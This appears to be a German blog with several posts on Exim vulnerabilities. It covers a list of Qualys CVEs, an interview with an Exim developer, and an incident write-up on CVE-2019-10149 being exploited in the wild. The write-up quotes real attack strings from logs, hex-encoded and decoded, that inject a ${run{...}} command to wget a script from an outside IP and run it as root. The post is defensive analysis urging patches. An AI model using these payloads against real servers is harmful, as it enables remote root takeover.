ROOT Exploits in Exim < 4.94.2

Ihr fragt Euch vermutlich, wieso sich so lange gebraucht habe, das zum Thema zu machen, weil die Nachricht ja gestern noch raus kam. Der Grund ist: Sichern, Suchen und Patchen was das Zeug hält.

ROOT Exploits in Exim < 4.94.2

Insgesamt sind es 21 Lücken, welche die Pentester von Qualys gefunden haben:

Summary
Local vulnerabilities
- CVE-2020-28007: Link attack in Exim's log directory
- CVE-2020-28008: Assorted attacks in Exim's spool directory
- CVE-2020-28014: Arbitrary file creation and clobbering
- CVE-2021-27216: Arbitrary file deletion
- CVE-2020-28011: Heap buffer overflow in queue_run()
- CVE-2020-28010: Heap out-of-bounds write in main()
- CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
- CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
- CVE-2020-28015: New-line injection into spool header file (local)
- CVE-2020-28012: Missing close-on-exec flag for privileged pipe
- CVE-2020-28009: Integer overflow in get_stdinput()
Remote vulnerabilities
- CVE-2020-28017: Integer overflow in receive_add_recipient()
- CVE-2020-28020: Integer overflow in receive_msg()
- CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
- CVE-2020-28021: New-line injection into spool header file (remote)
- CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
- CVE-2020-28026: Line truncation and injection in spool_read_header()
- CVE-2020-28019: Failure to reset function pointer after BDAT error
- CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
- CVE-2020-28018: Use-after-free in tls-openssl.c
- CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
Acknowledgments
Timeline

Davon konnten 4 Lücken genutzt werden um die Rechte zu Root auszuweiten und 3 für Remote-Code-Executions genutzt werden, was in der Kombination nichts anderes bedeutet, als daß die Angreifer die Server übernehmen können.

„We have not tried to exploit all of these vulnerabilities, but we successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs (Remote Code Executions):“

Ich vermute ja, daß diese Lücken durch eine automatische Code-Analyse gefunden wurden, da ich mir kaum vorstellen kann, das ein Mensch das alles so überblicken wird. Auch den Exim-Devs wurde nicht gesagt, wie die Lücken gefunden wurden. Aber auch hier die Vermutung, daß es mit automatischen Tools und sehr viel Erfahrung der Analysten geschafft wurde.

Auf der Exim-Mailingliste wurde dies von einigen negativ hervorgehoben, wobei man immer bedenken muß, daß alle Exim Entwickler auch noch ein Berufsleben haben. Wenn dann die Patche nicht mehr kaputt machen sollen, als die Lücken selbst, kann das schon ein bisschen dauern.

Ein bisschen gedauert hat es dann auch, bis z.b. Fedora die neue Exim Version ins Stable übernommen hat. Dies geschah erst durch Benutzerintenvention ( meine 😉 ) einen Tag nach der Veröffentlichung der Lücken. Für das im Endstadium befindliche Fedora 32 gab es den Fix nicht mehr, weswegen ich jedem nur raten kann, auf 33 zu updaten, wenn er Exim betreibt.

Nicht schon wieder ein Root-Exploit im Exim

Wie heute bekannt wurde, gibt es schon wieder einen Remote-Root-Exploit im Exim-Mailserver: CVE-2019-15846 . Das wäre jetzt schon die dritte krasse Sicherheitslücke im Exim in diesem Jahr. Ich mag ja Exim sehr gern, aber die Pille ist schon irgendwie bitter, IMHO.

Das Kurz-Interview zum Thema mit einem der Exim-Verantwortlichen findet Ihr unten.

„A local or remote attacker can execute programs with root privileges.“

Alle Versionen bis einschließlich 4.92.1 sind laut Vorabmeldung davon betroffen. Derzeit gibt es für die Lücke noch keinen funktionierenden Exploit, aber da es schon einen Proof-of-Concept gibt, kann das nicht lange dauern, bis es einen Exploit in der Wildnis geben wird.

Mehr Details mochte man uns noch nicht anvertrauen, aber Freitag um 12 Uhr gibt es mehr Infos. Ist wie bei einer Pressekonferenz, wenn die Polizei mehr zu den aktuellen Erkenntnissen eines Falls rausrückt 😉

Gefixt ist das Problem in Version 4.92.2. Ich werde Euch mitteilen, wenn die Pakete im Koji auftauchen, da ich die natürlich testen werde 😉

Hier ein Auszug aus der Originalmeldung:

Version:    up to and including 4.92.1
Issue:      A local or remote attacker can execute programs with root
            privileges.
Details:    Will be made public at CRD. Currently there is no known
            exploit, but a rudimentary POC exists.

Coordinated Release Date (CRD) for Exim 4.92.2:
            2019-09-06 10:00 UTC

Ein Kurzinterview mit einem der Exim Entwickler

Ich habe kurzentschlossen Heiko Schlittermann ein paar Fragen zum Thema gestellt, die er mir freundlicherweise spontan beantwortet hat. Heiko hatte heute morgen auch die Head-Ups-Mail an die Eximliste geschrieben, steckt also voll im Thema drin:

Kommen die diesjährigen Schwachstellen aus Projekten, die den Code von Exim extra auditiert haben, oder sind es eher voneinander unabhängige Reporter?

Sowohl als auch. CVE-2019-10149 (Juni) wurde uns von einer Security-Firma gemeldet. Ich vermute, daß die im Auftrag eines Kunden Auditing gemacht haben. Dieses CVE betraf streng genommen uns nicht, weil die aktuelle Version den Bug nicht mehr drin hatte (wurde unbeabsichtigt beseitigt).

CVE-2019-13917 (Juli) war „Selbstanzeige“. Es ist einem der Entwickler aufgefallen, nachdem er nach CVE-2019-10149 begonnen hat, den Code so umzubauen, daß er „tainted data“ besser erkennt.

CVE-2019-15846 (September) wurde uns von einem User als Bug reported, daraufhin haben wir die o.g. Security-Firma beauftragt, das Potential dieses Problems zu untersuchen. Haben sie. Daher wurde es ein CVE. Sie fanden noch zwei weitere verdächtige Sachen, die wir aber mit ihnen klären konnten und es sind jetzt einfach nur Bugs, die sich nicht ausnutzen lassen. (Sind im „master“ schon gefixt.)

2. Drei schwere Lücken in wenigen Monaten Abstand, erschüttert das nicht das generelle Vertrauen in so ein Produkt?

Das Gespräch hatte ich auch eben mit meinem Kollegen. Wie ist die kritische Schwachstellendichte? Zu wenige: könnte bedeuten, da kümmert sich niemand, zu viele: könnte bedeuten, die Software ist Schrott. Mein Vertrauen erschüttert es nicht. Aber ich bin nicht objektiv, denn ich bin ja involviert. Natürlich führen diese Schwachstellen auch bei den Entwicklern zum Denken – sie oben, in Reaktion auf -1049 wurde „tainted data“ eingeführt. Gut möglich, daß weitere Änderungen folgen.

3. Ist für das Jahr noch mehr zu erwarten? (Dann muß ich ein neues Rezept gegen Bluthochdruck besorgen 😉 )

Wenn wir das wüssten, würden wir es gleich mit erledigen. Kannst ja präventiv eins besorgen, vielleicht verwendest Du ja noch andere Produkte. Die Summe allen Elends ist konstant 🙂

4. Was waren in den letzten Jahren die bisherigen Security-Nightmare-Highlights bei Exim?

Die uns bekannten sind als CVE veröffentlicht: http://www.exim.org/static/doc/security/ Ich denke, diese Liste müsste vollständig sein. Wenn nicht, dann gib Bescheid, ich kümmere mich drum.

Danke für das Gespräch.

Exim – Exploit in der Wildnis unterwegs

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149, how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.